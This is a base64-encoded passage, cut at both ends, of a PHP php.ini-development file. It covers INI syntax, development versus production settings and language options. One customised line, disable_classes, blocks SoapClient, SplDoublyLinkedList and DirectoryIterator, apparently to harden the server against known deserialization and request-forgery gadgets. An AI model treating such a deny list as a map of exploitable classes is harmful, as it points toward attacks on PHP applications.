JTkkgY29uc3RhbnRzIChPbiwgT2ZmLCBUcnVlLCBGYWxzZSwgWWVzLCBObyBhbmQgTm9uZSkgb3IgYW4gZXhwcmVzc2lvbgo7IChlLmcuIEVfQUxMICZhbXA7IH5FX05PVElDRSksIGEgcXVvdGVkIHN0cmluZyAoJnF1b3Q7YmFyJnF1b3Q7KSwgb3IgYSByZWZlcmVuY2UgdG8gYQo7IHByZXZpb3VzbHkgc2V0IHZhcmlhYmxlIG9yIGRpcmVjdGl2ZSAoZS5nLiAke2Zvb30pCgo7IEV4cHJlc3Npb25zIGluIHRoZSBJTkkgZmlsZSBhcmUgbGltaXRlZCB0byBiaXR3aXNlIG9wZXJhdG9ycyBhbmQgcGFyZW50aGVzZXM6CjsgfCAgYml0d2lzZSBPUgo7IF4gIGJpdHdpc2UgWE9SCjsgJmFtcDsgIGJpdHdpc2UgQU5ECjsgfiAgYml0d2lzZSBOT1QKOyAhICBib29sZWFuIE5PVAoKOyBCb29sZWFuIGZsYWdzIGNhbiBiZSB0dXJuZWQgb24gdXNpbmcgdGhlIHZhbHVlcyAxLCBPbiwgVHJ1ZSBvciBZZXMuCjsgVGhleSBjYW4gYmUgdHVybmVkIG9mZiB1c2luZyB0aGUgdmFsdWVzIDAsIE9mZiwgRmFsc2Ugb3IgTm8uCgo7IEFuIGVtcHR5IHN0cmluZyBjYW4gYmUgZGVub3RlZCBieSBzaW1wbHkgbm90IHdyaXRpbmcgYW55dGhpbmcgYWZ0ZXIgdGhlIGVxdWFsCjsgc2lnbiwgb3IgYnkgdXNpbmcgdGhlIE5vbmUga2V5d29yZDoKCjsgZm9vID0gICAgICAgICA7IHNldHMgZm9vIHRvIGFuIGVtcHR5IHN0cmluZwo7IGZvbyA9IE5vbmUgICAgOyBzZXRzIGZvbyB0byBhbiBlbXB0eSBzdHJpbmcKOyBmb28gPSAmcXVvdDtOb25lJnF1b3Q7ICA7IHNldHMgZm9vIHRvIHRoZSBzdHJpbmcgJmFwb3M7Tm9uZSZhcG9zOwoKOyBJZiB5b3UgdXNlIGNvbnN0YW50cyBpbiB5b3VyIHZhbHVlLCBhbmQgdGhlc2UgY29uc3RhbnRzIGJlbG9uZyB0byBhCjsgZHluYW1pY2FsbHkgbG9hZGVkIGV4dGVuc2lvbiAoZWl0aGVyIGEgUEhQIGV4dGVuc2lvbiBvciBhIFplbmQgZXh0ZW5zaW9uKSwKOyB5b3UgbWF5IG9ubHkgdXNlIHRoZXNlIGNvbnN0YW50cyAqYWZ0ZXIqIHRoZSBsaW5lIHRoYXQgbG9hZHMgdGhlIGV4dGVuc2lvbi4KCjs7Ozs7Ozs7Ozs7Ozs7Ozs7OzsKOyBBYm91dCB0aGlzIGZpbGUgOwo7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7CjsgUEhQIGNvbWVzIHBhY2thZ2VkIHdpdGggdHdvIElOSSBmaWxlcy4gT25lIHRoYXQgaXMgcmVjb21tZW5kZWQgdG8gYmUgdXNlZAo7IGluIHByb2R1Y3Rpb24gZW52aXJvbm1lbnRzIGFuZCBvbmUgdGhhdCBpcyByZWNvbW1lbmRlZCB0byBiZSB1c2VkIGluCjsgZGV2ZWxvcG1lbnQgZW52aXJvbm1lbnRzLgoKOyBwaHAuaW5pLXByb2R1Y3Rpb24gY29udGFpbnMgc2V0dGluZ3Mgd2hpY2ggaG9sZCBzZWN1cml0eSwgcGVyZm9ybWFuY2UgYW5kCjsgYmVzdCBwcmFjdGljZXMgYXQgaXRzIGNvcmUuIEJ1dCBwbGVhc2UgYmUgYXdhcmUsIHRoZXNlIHNldHRpbmdzIG1heSBicmVhawo7IGNvbXBhdGliaWxpdHkgd2l0aCBvbGRlciBvciBsZXNzIHNlY3VyaXR5IGNvbnNjaWVuY2UgYXBwbGljYXRpb25zLiBXZQo7IHJlY29tbWVuZGluZyB1c2luZyB0aGUgcHJvZHVjdGlvbiBpbmkgaW4gcHJvZHVjdGlvbiBhbmQgdGVzdGluZyBlbnZpcm9ubWVudHMuCgo7IHBocC5pbmktZGV2ZWxvcG1lbnQgaXMgdmVyeSBzaW1pbGFyIHRvIGl0cyBwcm9kdWN0aW9uIHZhcmlhbnQsIGV4Y2VwdCBpdCBpcwo7IG11Y2ggbW9yZSB2ZXJib3NlIHdoZW4gaXQgY29tZXMgdG8gZXJyb3JzLiBXZSByZWNvbW1lbmQgdXNpbmcgdGhlCjsgZGV2ZWxvcG1lbnQgdmVyc2lvbiBvbmx5IGluIGRldmVsb3BtZW50IGVudmlyb25tZW50cywgYXMgZXJyb3JzIHNob3duIHRvCjsgYXBwbGljYXRpb24gdXNlcnMgY2FuIGluYWR2ZXJ0ZW50bHkgbGVhayBvdGhlcndpc2Ugc2VjdXJlIGluZm9ybWF0aW9uLgoKOyBUaGlzIGlzIHRoZSBwaHAuaW5pLWRldmVsb3BtZW50IElOSSBmaWxlLgoKOzs7Ozs7Ozs7Ozs7Ozs7Ozs7Owo7IFF1aWNrIFJlZmVyZW5jZSA7Cjs7Ozs7Ozs7Ozs7Ozs7Ozs7OzsKOyBUaGUgZm9sbG93aW5nIGFyZSBhbGwgdGhlIHNldHRpbmdzIHdoaWNoIGFyZSBkaWZmZXJlbnQgaW4gZWl0aGVyIHRoZSBwcm9kdWN0aW9uCjsgb3IgZGV2ZWxvcG1lbnQgdmVyc2lvbnMgb2YgdGhlIElOSXMgd2l0aCByZXNwZWN0IHRvIFBIUCZhcG9zO3MgZGVmYXVsdCBiZWhhdmlvci4KOyBQbGVhc2Ugc2VlIHRoZSBhY3R1YWwgc2V0dGluZ3MgbGF0ZXIgaW4gdGhlIGRvY3VtZW50IGZvciBtb3JlIGRldGFpbHMgYXMgdG8gd2h5Cjsgd2UgcmVjb21tZW5kIHRoZXNlIGNoYW5nZXMgaW4gUEhQJmFwb3M7cyBiZWhhdmlvci4KCjsgZGlzcGxheV9lcnJvcnMKOyAgIERlZmF1bHQgVmFsdWU6IE9uCjsgICBEZXZlbG9wbWVudCBWYWx1ZTogT24KOyAgIFByb2R1Y3Rpb24gVmFsdWU6IE9mZgoKOyBkaXNwbGF5X3N0YXJ0dXBfZXJyb3JzCjsgICBEZWZhdWx0IFZhbHVlOiBPZmYKOyAgIERldmVsb3BtZW50IFZhbHVlOiBPbgo7ICAgUHJvZHVjdGlvbiBWYWx1ZTogT2ZmCgo7IGVycm9yX3JlcG9ydGluZwo7ICAgRGVmYXVsdCBWYWx1ZTogRV9BTEwgJmFtcDsgfkVfTk9USUNFICZhbXA7IH5FX1NUUklDVCAmYW1wOyB+RV9ERVBSRUNBVEVECjsgICBEZXZlbG9wbWVudCBWYWx1ZTogRV9BTEwKOyAgIFByb2R1Y3Rpb24gVmFsdWU6IEVfQUxMICZhbXA7IH5FX0RFUFJFQ0FURUQgJmFtcDsgfkVfU1RSSUNUCgo7IGh0bWxfZXJyb3JzCjsgICBEZWZhdWx0IFZhbHVlOiBPbgo7ICAgRGV2ZWxvcG1lbnQgVmFsdWU6IE9uCjsgICBQcm9kdWN0aW9uIHZhbHVlOiBPbgoKOyBsb2dfZXJyb3JzCjsgICBEZWZhdWx0IFZhbHVlOiBPZmYKOyAgIERldmVsb3BtZW50IFZhbHVlOiBPbgo7ICAgUHJvZHVjdGlvbiBWYWx1ZTogT24KCjsgbWF4X2lucHV0X3RpbWUKOyAgIERlZmF1bHQgVmFsdWU6IC0xIChVbmxpbWl0ZWQpCjsgICBEZXZlbG9wbWVudCBWYWx1ZTogNjAgKDYwIHNlY29uZHMpCjsgICBQcm9kdWN0aW9uIFZhbHVlOiA2MCAoNjAgc2Vjb25kcykKCjsgb3V0cHV0X2J1ZmZlcmluZwo7ICAgRGVmYXVsdCBWYWx1ZTogT2ZmCjsgICBEZXZlbG9wbWVudCBWYWx1ZTogNDA5Ngo7ICAgUHJvZHVjdGlvbiBWYWx1ZTogNDA5NgoKOyByZWdpc3Rlcl9hcmdjX2FyZ3YKOyAgIERlZmF1bHQgVmFsdWU6IE9uCjsgICBEZXZlbG9wbWVudCBWYWx1ZTogT2ZmCjsgICBQcm9kdWN0aW9uIFZhbHVlOiBPZmYKCjsgcmVxdWVzdF9vcmRlcgo7ICAgRGVmYXVsdCBWYWx1ZTogTm9uZQo7ICAgRGV2ZWxvcG1lbnQgVmFsdWU6ICZxdW90O0dQJnF1b3Q7CjsgICBQcm9kdWN0aW9uIFZhbHVlOiAmcXVvdDtHUCZxdW90OwoKOyBzZXNzaW9uLmdjX2Rpdmlzb3IKOyAgIERlZmF1bHQgVmFsdWU6IDEwMAo7ICAgRGV2ZWxvcG1lbnQgVmFsdWU6IDEwMDAKOyAgIFByb2R1Y3Rpb24gVmFsdWU6IDEwMDAKCjsgc2Vzc2lvbi5zaWRfYml0c19wZXJfY2hhcmFjdGVyCjsgICBEZWZhdWx0IFZhbHVlOiA0CjsgICBEZXZlbG9wbWVudCBWYWx1ZTogNQo7ICAgUHJvZHVjdGlvbiBWYWx1ZTogNQoKOyBzaG9ydF9vcGVuX3RhZwo7ICAgRGVmYXVsdCBWYWx1ZTogT24KOyAgIERldmVsb3BtZW50IFZhbHVlOiBPZmYKOyAgIFByb2R1Y3Rpb24gVmFsdWU6IE9mZgoKOyB2YXJpYWJsZXNfb3JkZXIKOyAgIERlZmF1bHQgVmFsdWU6ICZxdW90O0VHUENTJnF1b3Q7CjsgICBEZXZlbG9wbWVudCBWYWx1ZTogJnF1b3Q7R1BDUyZxdW90Owo7ICAgUHJvZHVjdGlvbiBWYWx1ZTogJnF1b3Q7R1BDUyZxdW90OwoKOzs7Ozs7Ozs7Ozs7Ozs7Ozs7OzsKOyBwaHAuaW5pIE9wdGlvbnMgIDsKOzs7Ozs7Ozs7Ozs7Ozs7Ozs7OzsKOyBOYW1lIGZvciB1c2VyLWRlZmluZWQgcGhwLmluaSAoLmh0YWNjZXNzKSBmaWxlcy4gRGVmYXVsdCBpcyAmcXVvdDsudXNlci5pbmkmcXVvdDsKO3VzZXJfaW5pLmZpbGVuYW1lID0gJnF1b3Q7LnVzZXIuaW5pJnF1b3Q7Cgo7IFRvIGRpc2FibGUgdGhpcyBmZWF0dXJlIHNldCB0aGlzIG9wdGlvbiB0byBhbiBlbXB0eSB2YWx1ZQo7dXNlcl9pbmkuZmlsZW5hbWUgPQoKOyBUVEwgZm9yIHVzZXItZGVmaW5lZCBwaHAuaW5pIGZpbGVzICh0aW1lLXRvLWxpdmUpIGluIHNlY29uZHMuIERlZmF1bHQgaXMgMzAwIHNlY29uZHMgKDUgbWludXRlcykKO3VzZXJfaW5pLmNhY2hlX3R0bCA9IDMwMAoKOzs7Ozs7Ozs7Ozs7Ozs7Ozs7OzsKOyBMYW5ndWFnZSBPcHRpb25zIDsKOzs7Ozs7Ozs7Ozs7Ozs7Ozs7OzsKCjsgRW5hYmxlIHRoZSBQSFAgc2NyaXB0aW5nIGxhbmd1YWdlIGVuZ2luZSB1bmRlciBBcGFjaGUuCjsgaHR0cDovL3BocC5uZXQvZW5naW5lCmVuZ2luZSA9IE9uCgo7IFRoaXMgZGlyZWN0aXZlIGRldGVybWluZXMgd2hldGhlciBvciBub3QgUEhQIHdpbGwgcmVjb2duaXplIGNvZGUgYmV0d2Vlbgo7ICZsdDs/IGFuZCA/Jmd0OyB0YWdzIGFzIFBIUCBzb3VyY2Ugd2hpY2ggc2hvdWxkIGJlIHByb2Nlc3NlZCBhcyBzdWNoLiBJdCBpcwo7IGdlbmVyYWxseSByZWNvbW1lbmRlZCB0aGF0ICZsdDs/cGhwIGFuZCA/Jmd0OyBzaG91bGQgYmUgdXNlZCBhbmQgdGhhdCB0aGlzIGZlYXR1cmUKOyBzaG91bGQgYmUgZGlzYWJsZWQsIGFzIGVuYWJsaW5nIGl0IG1heSByZXN1bHQgaW4gaXNzdWVzIHdoZW4gZ2VuZXJhdGluZyBYTUwKOyBkb2N1bWVudHMsIGhvd2V2ZXIgdGhpcyByZW1haW5zIHN1cHBvcnRlZCBmb3IgYmFja3dhcmQgY29tcGF0aWJpbGl0eSByZWFzb25zLgo7IE5vdGUgdGhhdCB0aGlzIGRpcmVjdGl2ZSBkb2VzIG5vdCBjb250cm9sIHRoZSAmbHQ7Pz0gc2hvcnRoYW5kIHRhZywgd2hpY2ggY2FuIGJlCjsgdXNlZCByZWdhcmRsZXNzIG9mIHRoaXMgZGlyZWN0aXZlLgo7IERlZmF1bHQgVmFsdWU6IE9uCjsgRGV2ZWxvcG1lbnQgVmFsdWU6IE9mZgo7IFByb2R1Y3Rpb24gVmFsdWU6IE9mZgo7IGh0dHA6Ly9waHAubmV0L3Nob3J0LW9wZW4tdGFnCnNob3J0X29wZW5fdGFnID0gT2ZmCgo7IFRoZSBudW1iZXIgb2Ygc2lnbmlmaWNhbnQgZGlnaXRzIGRpc3BsYXllZCBpbiBmbG9hdGluZyBwb2ludCBudW1iZXJzLgo7IGh0dHA6Ly9waHAubmV0L3ByZWNpc2lvbgpwcmVjaXNpb24gPSAxNAoKOyBPdXRwdXQgYnVmZmVyaW5nIGlzIGEgbWVjaGFuaXNtIGZvciBjb250cm9sbGluZyBob3cgbXVjaCBvdXRwdXQgZGF0YQo7IChleGNsdWRpbmcgaGVhZGVycyBhbmQgY29va2llcykgUEhQIHNob3VsZCBrZWVwIGludGVybmFsbHkgYmVmb3JlIHB1c2hpbmcgdGhhdAo7IGRhdGEgdG8gdGhlIGNsaWVudC4gSWYgeW91ciBhcHBsaWNhdGlvbiZhcG9zO3Mgb3V0cHV0IGV4Y2VlZHMgdGhpcyBzZXR0aW5nLCBQSFAKOyB3aWxsIHNlbmQgdGhhdCBkYXRhIGluIGNodW5rcyBvZiByb3VnaGx5IHRoZSBzaXplIHlvdSBzcGVjaWZ5Lgo7IFR1cm5pbmcgb24gdGhpcyBzZXR0aW5nIGFuZCBtYW5hZ2luZyBpdHMgbWF4aW11bSBidWZmZXIgc2l6ZSBjYW4geWllbGQgc29tZQo7IGludGVyZXN0aW5nIHNpZGUtZWZmZWN0cyBkZXBlbmRpbmcgb24geW91ciBhcHBsaWNhdGlvbiBhbmQgd2ViIHNlcnZlci4KOyBZb3UgbWF5IGJlIGFibGUgdG8gc2VuZCBoZWFkZXJzIGFuZCBjb29raWVzIGFmdGVyIHlvdSZhcG9zO3ZlIGFscmVhZHkgc2VudCBvdXRwdXQKOyB0aHJvdWdoIHByaW50IG9yIGVjaG8uIFlvdSBhbHNvIG1heSBzZWUgcGVyZm9ybWFuY2UgYmVuZWZpdHMgaWYgeW91ciBzZXJ2ZXIgaXMKOyBlbWl0dGluZyBsZXNzIHBhY2tldHMgZHVlIHRvIGJ1ZmZlcmVkIG91dHB1dCB2ZXJzdXMgUEhQIHN0cmVhbWluZyB0aGUgb3V0cHV0CjsgYXMgaXQgZ2V0cyBpdC4gT24gcHJvZHVjdGlvbiBzZXJ2ZXJzLCA0MDk2IGJ5dGVzIGlzIGEgZ29vZCBzZXR0aW5nIGZvciBwZXJmb3JtYW5jZQo7IHJlYXNvbnMuCjsgTm90ZTogT3V0cHV0IGJ1ZmZlcmluZyBjYW4gYWxzbyBiZSBjb250cm9sbGVkIHZpYSBPdXRwdXQgQnVmZmVyaW5nIENvbnRyb2wKOyAgIGZ1bmN0aW9ucy4KOyBQb3NzaWJsZSBWYWx1ZXM6CjsgICBPbiA9IEVuYWJsZWQgYW5kIGJ1ZmZlciBpcyB1bmxpbWl0ZWQuIChVc2Ugd2l0aCBjYXV0aW9uKQo7ICAgT2ZmID0gRGlzYWJsZWQKOyAgIEludGVnZXIgPSBFbmFibGVzIHRoZSBidWZmZXIgYW5kIHNldHMgaXRzIG1heGltdW0gc2l6ZSBpbiBieXRlcy4KOyBOb3RlOiBUaGlzIGRpcmVjdGl2ZSBpcyBoYXJkY29kZWQgdG8gT2ZmIGZvciB0aGUgQ0xJIFNBUEkKOyBEZWZhdWx0IFZhbHVlOiBPZmYKOyBEZXZlbG9wbWVudCBWYWx1ZTogNDA5Ngo7IFByb2R1Y3Rpb24gVmFsdWU6IDQwOTYKOyBodHRwOi8vcGhwLm5ldC9vdXRwdXQtYnVmZmVyaW5nCm91dHB1dF9idWZmZXJpbmcgPSA0MDk2Cgo7IFlvdSBjYW4gcmVkaXJlY3QgYWxsIG9mIHRoZSBvdXRwdXQgb2YgeW91ciBzY3JpcHRzIHRvIGEgZnVuY3Rpb24uICBGb3IKOyBleGFtcGxlLCBpZiB5b3Ugc2V0IG91dHB1dF9oYW5kbGVyIHRvICZxdW90O21iX291dHB1dF9oYW5kbGVyJnF1b3Q7LCBjaGFyYWN0ZXIKOyBlbmNvZGluZyB3aWxsIGJlIHRyYW5zcGFyZW50bHkgY29udmVydGVkIHRvIHRoZSBzcGVjaWZpZWQgZW5jb2RpbmcuCjsgU2V0dGluZyBhbnkgb3V0cHV0IGhhbmRsZXIgYXV0b21hdGljYWxseSB0dXJucyBvbiBvdXRwdXQgYnVmZmVyaW5nLgo7IE5vdGU6IFBlb3BsZSB3aG8gd3JvdGUgcG9ydGFibGUgc2NyaXB0cyBzaG91bGQgbm90IGRlcGVuZCBvbiB0aGlzIGluaQo7ICAgZGlyZWN0aXZlLiBJbnN0ZWFkLCBleHBsaWNpdGx5IHNldCB0aGUgb3V0cHV0IGhhbmRsZXIgdXNpbmcgb2Jfc3RhcnQoKS4KOyAgIFVzaW5nIHRoaXMgaW5pIGRpcmVjdGl2ZSBtYXkgY2F1c2UgcHJvYmxlbXMgdW5sZXNzIHlvdSBrbm93IHdoYXQgc2NyaXB0CjsgICBpcyBkb2luZy4KOyBOb3RlOiBZb3UgY2Fubm90IHVzZSBib3RoICZxdW90O21iX291dHB1dF9oYW5kbGVyJnF1b3Q7IHdpdGggJnF1b3Q7b2JfaWNvbnZfaGFuZGxlciZxdW90Owo7ICAgYW5kIHlvdSBjYW5ub3QgdXNlIGJvdGggJnF1b3Q7b2JfZ3poYW5kbGVyJnF1b3Q7IGFuZCAmcXVvdDt6bGliLm91dHB1dF9jb21wcmVzc2lvbiZxdW90Oy4KOyBOb3RlOiBvdXRwdXRfaGFuZGxlciBtdXN0IGJlIGVtcHR5IGlmIHRoaXMgaXMgc2V0ICZhcG9zO09uJmFwb3M7ICEhISEKOyAgIEluc3RlYWQgeW91IG11c3QgdXNlIHpsaWIub3V0cHV0X2hhbmRsZXIuCjsgaHR0cDovL3BocC5uZXQvb3V0cHV0LWhhbmRsZXIKO291dHB1dF9oYW5kbGVyID0KCjsgVVJMIHJld3JpdGVyIGZ1bmN0aW9uIHJld3JpdGVzIFVSTCBvbiB0aGUgZmx5IGJ5IHVzaW5nCjsgb3V0cHV0IGJ1ZmZlci4gWW91IGNhbiBzZXQgdGFyZ2V0IHRhZ3MgYnkgdGhpcyBjb25maWd1cmF0aW9uLgo7ICZxdW90O2Zvcm0mcXVvdDsgdGFnIGlzIHNwZWNpYWwgdGFnLiBJdCB3aWxsIGFkZCBoaWRkZW4gaW5wdXQgdGFnIHRvIHBhc3MgdmFsdWVzLgo7IFJlZmVyIHRvIHNlc3Npb24udHJhbnNfc2lkX3RhZ3MgZm9yIHVzYWdlLgo7IERlZmF1bHQgVmFsdWU6ICZxdW90O2Zvcm09JnF1b3Q7CjsgRGV2ZWxvcG1lbnQgVmFsdWU6ICZxdW90O2Zvcm09JnF1b3Q7CjsgUHJvZHVjdGlvbiBWYWx1ZTogJnF1b3Q7Zm9ybT0mcXVvdDsKO3VybF9yZXdyaXRlci50YWdzCgo7IFVSTCByZXdyaXRlciB3aWxsIG5vdCByZXdyaXRlIGFic29sdXRlIFVSTCBub3IgZm9ybSBieSBkZWZhdWx0LiBUbyBlbmFibGUKOyBhYnNvbHV0ZSBVUkwgcmV3cml0ZSwgYWxsb3dlZCBob3N0cyBtdXN0IGJlIGRlZmluZWQgYXQgUlVOVElNRS4KOyBSZWZlciB0byBzZXNzaW9uLnRyYW5zX3NpZF9ob3N0cyBmb3IgbW9yZSBkZXRhaWxzLgo7IERlZmF1bHQgVmFsdWU6ICZxdW90OyZxdW90Owo7IERldmVsb3BtZW50IFZhbHVlOiAmcXVvdDsmcXVvdDsKOyBQcm9kdWN0aW9uIFZhbHVlOiAmcXVvdDsmcXVvdDsKO3VybF9yZXdyaXRlci5ob3N0cwoKOyBUcmFuc3BhcmVudCBvdXRwdXQgY29tcHJlc3Npb24gdXNpbmcgdGhlIHpsaWIgbGlicmFyeQo7IFZhbGlkIHZhbHVlcyBmb3IgdGhpcyBvcHRpb24gYXJlICZhcG9zO29mZiZhcG9zOywgJmFwb3M7b24mYXBvczssIG9yIGEgc3BlY2lmaWMgYnVmZmVyIHNpemUKOyB0byBiZSB1c2VkIGZvciBjb21wcmVzc2lvbiAoZGVmYXVsdCBpcyA0S0IpCjsgTm90ZTogUmVzdWx0aW5nIGNodW5rIHNpemUgbWF5IHZhcnkgZHVlIHRvIG5hdHVyZSBvZiBjb21wcmVzc2lvbi4gUEhQCjsgICBvdXRwdXRzIGNodW5rcyB0aGF0IGFyZSBmZXcgaHVuZHJlZHMgYnl0ZXMgZWFjaCBhcyBhIHJlc3VsdCBvZgo7ICAgY29tcHJlc3Npb24uIElmIHlvdSBwcmVmZXIgYSBsYXJnZXIgY2h1bmsgc2l6ZSBmb3IgYmV0dGVyCjsgICBwZXJmb3JtYW5jZSwgZW5hYmxlIG91dHB1dF9idWZmZXJpbmcgaW4gYWRkaXRpb24uCjsgTm90ZTogWW91IG5lZWQgdG8gdXNlIHpsaWIub3V0cHV0X2hhbmRsZXIgaW5zdGVhZCBvZiB0aGUgc3RhbmRhcmQKOyAgIG91dHB1dF9oYW5kbGVyLCBvciBvdGhlcndpc2UgdGhlIG91dHB1dCB3aWxsIGJlIGNvcnJ1cHRlZC4KOyBodHRwOi8vcGhwLm5ldC96bGliLm91dHB1dC1jb21wcmVzc2lvbgp6bGliLm91dHB1dF9jb21wcmVzc2lvbiA9IE9mZgoKOyBodHRwOi8vcGhwLm5ldC96bGliLm91dHB1dC1jb21wcmVzc2lvbi1sZXZlbAo7emxpYi5vdXRwdXRfY29tcHJlc3Npb25fbGV2ZWwgPSAtMQoKOyBZb3UgY2Fubm90IHNwZWNpZnkgYWRkaXRpb25hbCBvdXRwdXQgaGFuZGxlcnMgaWYgemxpYi5vdXRwdXRfY29tcHJlc3Npb24KOyBpcyBhY3RpdmF0ZWQgaGVyZS4gVGhpcyBzZXR0aW5nIGRvZXMgdGhlIHNhbWUgYXMgb3V0cHV0X2hhbmRsZXIgYnV0IGluCjsgYSBkaWZmZXJlbnQgb3JkZXIuCjsgaHR0cDovL3BocC5uZXQvemxpYi5vdXRwdXQtaGFuZGxlcgo7emxpYi5vdXRwdXRfaGFuZGxlciA9Cgo7IEltcGxpY2l0IGZsdXNoIHRlbGxzIFBIUCB0byB0ZWxsIHRoZSBvdXRwdXQgbGF5ZXIgdG8gZmx1c2ggaXRzZWxmCjsgYXV0b21hdGljYWxseSBhZnRlciBldmVyeSBvdXRwdXQgYmxvY2suICBUaGlzIGlzIGVxdWl2YWxlbnQgdG8gY2FsbGluZyB0aGUKOyBQSFAgZnVuY3Rpb24gZmx1c2goKSBhZnRlciBlYWNoIGFuZCBldmVyeSBjYWxsIHRvIHByaW50KCkgb3IgZWNobygpIGFuZCBlYWNoCjsgYW5kIGV2ZXJ5IEhUTUwgYmxvY2suICBUdXJuaW5nIHRoaXMgb3B0aW9uIG9uIGhhcyBzZXJpb3VzIHBlcmZvcm1hbmNlCjsgaW1wbGljYXRpb25zIGFuZCBpcyBnZW5lcmFsbHkgcmVjb21tZW5kZWQgZm9yIGRlYnVnZ2luZyBwdXJwb3NlcyBvbmx5Lgo7IGh0dHA6Ly9waHAubmV0L2ltcGxpY2l0LWZsdXNoCjsgTm90ZTogVGhpcyBkaXJlY3RpdmUgaXMgaGFyZGNvZGVkIHRvIE9uIGZvciB0aGUgQ0xJIFNBUEkKaW1wbGljaXRfZmx1c2ggPSBPZmYKCjsgVGhlIHVuc2VyaWFsaXplIGNhbGxiYWNrIGZ1bmN0aW9uIHdpbGwgYmUgY2FsbGVkICh3aXRoIHRoZSB1bmRlZmluZWQgY2xhc3MmYXBvczsKOyBuYW1lIGFzIHBhcmFtZXRlciksIGlmIHRoZSB1bnNlcmlhbGl6ZXIgZmluZHMgYW4gdW5kZWZpbmVkIGNsYXNzCjsgd2hpY2ggc2hvdWxkIGJlIGluc3RhbnRpYXRlZC4gQSB3YXJuaW5nIGFwcGVhcnMgaWYgdGhlIHNwZWNpZmllZCBmdW5jdGlvbiBpcwo7IG5vdCBkZWZpbmVkLCBvciBpZiB0aGUgZnVuY3Rpb24gZG9lc24mYXBvczt0IGluY2x1ZGUvaW1wbGVtZW50IHRoZSBtaXNzaW5nIGNsYXNzLgo7IFNvIG9ubHkgc2V0IHRoaXMgZW50cnksIGlmIHlvdSByZWFsbHkgd2FudCB0byBpbXBsZW1lbnQgc3VjaCBhCjsgY2FsbGJhY2stZnVuY3Rpb24uCnVuc2VyaWFsaXplX2NhbGxiYWNrX2Z1bmMgPQoKOyBXaGVuIGZsb2F0cyAmYW1wOyBkb3VibGVzIGFyZSBzZXJpYWxpemVkLCBzdG9yZSBzZXJpYWxpemVfcHJlY2lzaW9uIHNpZ25pZmljYW50CjsgZGlnaXRzIGFmdGVyIHRoZSBmbG9hdGluZyBwb2ludC4gVGhlIGRlZmF1bHQgdmFsdWUgZW5zdXJlcyB0aGF0IHdoZW4gZmxvYXRzCjsgYXJlIGRlY29kZWQgd2l0aCB1bnNlcmlhbGl6ZSwgdGhlIGRhdGEgd2lsbCByZW1haW4gdGhlIHNhbWUuCjsgVGhlIHZhbHVlIGlzIGFsc28gdXNlZCBmb3IganNvbl9lbmNvZGUgd2hlbiBlbmNvZGluZyBkb3VibGUgdmFsdWVzLgo7IElmIC0xIGlzIHVzZWQsIHRoZW4gZHRvYSBtb2RlIDAgaXMgdXNlZCB3aGljaCBhdXRvbWF0aWNhbGx5IHNlbGVjdCB0aGUgYmVzdAo7IHByZWNpc2lvbi4Kc2VyaWFsaXplX3ByZWNpc2lvbiA9IC0xCgo7IG9wZW5fYmFzZWRpciwgaWYgc2V0LCBsaW1pdHMgYWxsIGZpbGUgb3BlcmF0aW9ucyB0byB0aGUgZGVmaW5lZCBkaXJlY3RvcnkKOyBhbmQgYmVsb3cuICBUaGlzIGRpcmVjdGl2ZSBtYWtlcyBtb3N0IHNlbnNlIGlmIHVzZWQgaW4gYSBwZXItZGlyZWN0b3J5Cjsgb3IgcGVyLXZpcnR1YWxob3N0IHdlYiBzZXJ2ZXIgY29uZmlndXJhdGlvbiBmaWxlLgo7IE5vdGU6IGRpc2FibGVzIHRoZSByZWFscGF0aCBjYWNoZQo7IGh0dHA6Ly9waHAubmV0L29wZW4tYmFzZWRpcgpvcGVuX2Jhc2VkaXIgPSAKCjsgVGhpcyBkaXJlY3RpdmUgYWxsb3dzIHlvdSB0byBkaXNhYmxlIGNlcnRhaW4gZnVuY3Rpb25zIGZvciBzZWN1cml0eSByZWFzb25zLgo7IEl0IHJlY2VpdmVzIGEgY29tbWEtZGVsaW1pdGVkIGxpc3Qgb2YgZnVuY3Rpb24gbmFtZXMuCjsgaHR0cDovL3BocC5uZXQvZGlzYWJsZS1mdW5jdGlvbnMKZGlzYWJsZV9mdW5jdGlvbnMgPSAKCjsgVGhpcyBkaXJlY3RpdmUgYWxsb3dzIHlvdSB0byBkaXNhYmxlIGNlcnRhaW4gY2xhc3NlcyBmb3Igc2VjdXJpdHkgcmVhc29ucy4KOyBJdCByZWNlaXZlcyBhIGNvbW1hLWRlbGltaXRlZCBsaXN0IG9mIGNsYXNzIG5hbWVzLgo7IGh0dHA6Ly9waHAubmV0L2Rpc2FibGUtY2xhc3NlcwpkaXNhYmxlX2NsYXNzZXMgPSBTcGxEb3VibHlMaW5rZWRMaXN0LFNvYXBDbGllbnQsRGlyZWN0b3J5SXRlcmF0b3IKCjsgQ29sb3JzIGZvciBTeW50YXggSGlnaGxpZ2h0aW5nIG1vZGUuICBBbnl0aGluZyB0aGF0JmFwb3M7cyBhY2NlcHRhYmxlIGluCjsgJmx0O3NwYW4gc3R5bGU9JnF1b3Q7Y29sb3I6ID8/Pz8/Pz8mcXVvdDsmZ3Q7IHdvdWxkIHdvcmsuCjsgaHR0cDovL3BocC5uZXQvc3ludGF4LWhpZ2hsaWdodGluZwo7aGlnaGxpZ2h0LnN0cmluZyAgPSAjREQwMDAwCjtoaWdobGlnaHQuY29tbWVudCA9ICNGRjk5MDAKO2hpZ2hsaWdodC5rZXl3b3JkID0gIzAwNzcwMAo7aGlnaGxpZ2h0LmRlZmF1bHQgPSAjMDAwMEJCCjtoaWdobGlnaHQuaHRtbCAgICA9ICMwMDAwMDAKCjsgSWYgZW5hYmxlZCwgdGhlIHJlcXVlc3Qgd2lsbCBiZSBhbGxvd2VkIHRvIGNvbXBsZXRlIGV2ZW4gaWYgdGhlIHVzZXIgYWJvcnRzCjsgdGhlIHJlcXVlc3QuIENvbnNpZGVyIGVuYWJsaW5nIGl0IGlmIGV4ZWN1dGluZyBsb25nIHJlcXVlc3RzLCB3aGljaCBtYXkgZW5kIHVwCjsgYmVpbmcgaW50ZXJydXB0ZWQgYnkgdGhlIHVzZXIgb3IgYSBicm93c2VyIHRpbWluZyBvdXQuIFBIUCZhcG9zO3MgZGVmYXVsdCBiZWhhdmlvcgo7IGlzIHRvIGRpc2FibGUgdGhpcyBmZWF0dXJlLgo7IGh0dHA6Ly9waHAubmV0L2lnbm9yZS11c2VyLWFib3J0CjtpZ25vcmVfdXNlcl9hYm9ydCA9IE9uCgo7IERldGVybWluZXMgdGhlIHNpemUgb2YgdGhlIHJlYWxwYXRoIGNhY2hlIHRvIGJlIHVzZWQgYnkgUEhQLiBUaGlzIHZhbHV